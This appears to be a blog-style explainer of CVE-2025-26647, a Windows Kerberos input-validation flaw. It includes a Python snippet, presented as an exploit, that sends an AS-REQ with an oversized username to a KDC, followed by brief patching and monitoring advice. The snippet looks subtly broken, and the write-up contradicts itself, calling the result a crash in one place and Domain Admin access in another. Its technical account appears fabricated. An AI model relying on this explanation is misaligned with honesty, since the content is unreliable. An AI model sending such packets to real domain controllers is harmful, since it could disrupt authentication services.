CVE-2025-26647 - How Improper Input Validation in Windows Kerberos Allows Remote Privilege Escalation

Table of Contents

Intro: Why You Should Care

In early 2025, a major security hole was uncovered in Windows Kerberos. This bug, identified as CVE-2025-26647, allows attackers to gain elevated privileges simply by exploiting a mistake in how Kerberos checks network requests. Since Kerberos is central to authenticating users across Windows networks, anybody running Active Directory or Windows Server should pay close attention.

What is CVE-2025-26647?

CVE-2025-26647 is an "improper input validation" bug found in Microsoft’s Kerberos authentication implementation. Because Kerberos is used to verify who you are before granting access to network resources, a slip here can have huge consequences. In short: certain requests aren’t carefully checked for dangerous data. If an attacker sends a specifically crafted Kerberos ticket or packet, they can trick the system into thinking they’re someone with more rights than they really have.

Microsoft has already published a security advisory:
🔗 Microsoft Security Response

How the Vulnerability Works

Kerberos uses tickets—a sort of digital "pass"—to prove that users and machines are who they say they are. Each ticket should contain legitimate data, like user credentials, timestamps, and signatures.

CVE-2025-26647 happens because some of the input fields in these tickets are not properly checked before they’re accepted by the authentication service (the Key Distribution Center, or KDC). If an attacker can inject bad data (like overly long fields, corrupted user IDs, or tampered signatures), and the KDC doesn’t reject it, the attacker may wind up authenticated as an admin or another user.

Here's a simple look at the process affected

Attacker -------------\
                       +---[ vulnerable KDC ]---[ Domain Controller ]
User ----------------/

Code Example: Triggering the Flaw

Here’s a simplified Python snippet that shows how an attacker could craft a ticket with improper fields. (Note: This is a simulation; real attacks are more complex and done in binary.)

# Example: Sending a malicious Kerberos AS-REQ packet
from impacket.krb5.asn1 import AS_REQ, KDC_REQ_BODY
from pyasn1.codec.der.encoder import encode
from socket import socket, AF_INET, SOCK_DGRAM

def create_malicious_ticket():
    req = AS_REQ()
    body = KDC_REQ_BODY()
    # Craft an unusually long username (input that should be rejected)
    body['cname'] = 'A' * 2048  # Overly long username
    req['req-body'] = body

    return encode(req)

def send_ticket_to_kdc(ticket, kdc_ip):
    sock = socket(AF_INET, SOCK_DGRAM)
    sock.sendto(ticket, (kdc_ip, 88))
    sock.close()

if __name__ == "__main__":
    kdc_ip = '192.168.1.100'  # Target KDC IP
    ticket = create_malicious_ticket()
    send_ticket_to_kdc(ticket, kdc_ip)
    print('[+] Malicious ticket sent')

# This code would crash/trigger the vulnerability in unpatched KDCs.

Note:

The exploit can grant Domain Admin rights or SYSTEM-level access if successful.

- Attackers commonly use penetration testing tools like Impacket and Rubeus to automate the generation and sending of Kerberos tickets.

How to Protect Yourself

- Apply Microsoft patches for your version of Windows Server / Active Directory.

Monitor network traffic for unusual Kerberos requests or failed authentication attempts.

- Use Advanced Logging to track and audit tickets issued by KDCs.

Timeline

Published on: 04/08/2025 18:15:48 UTC
Last modified on: 05/06/2025 17:03:27 UTC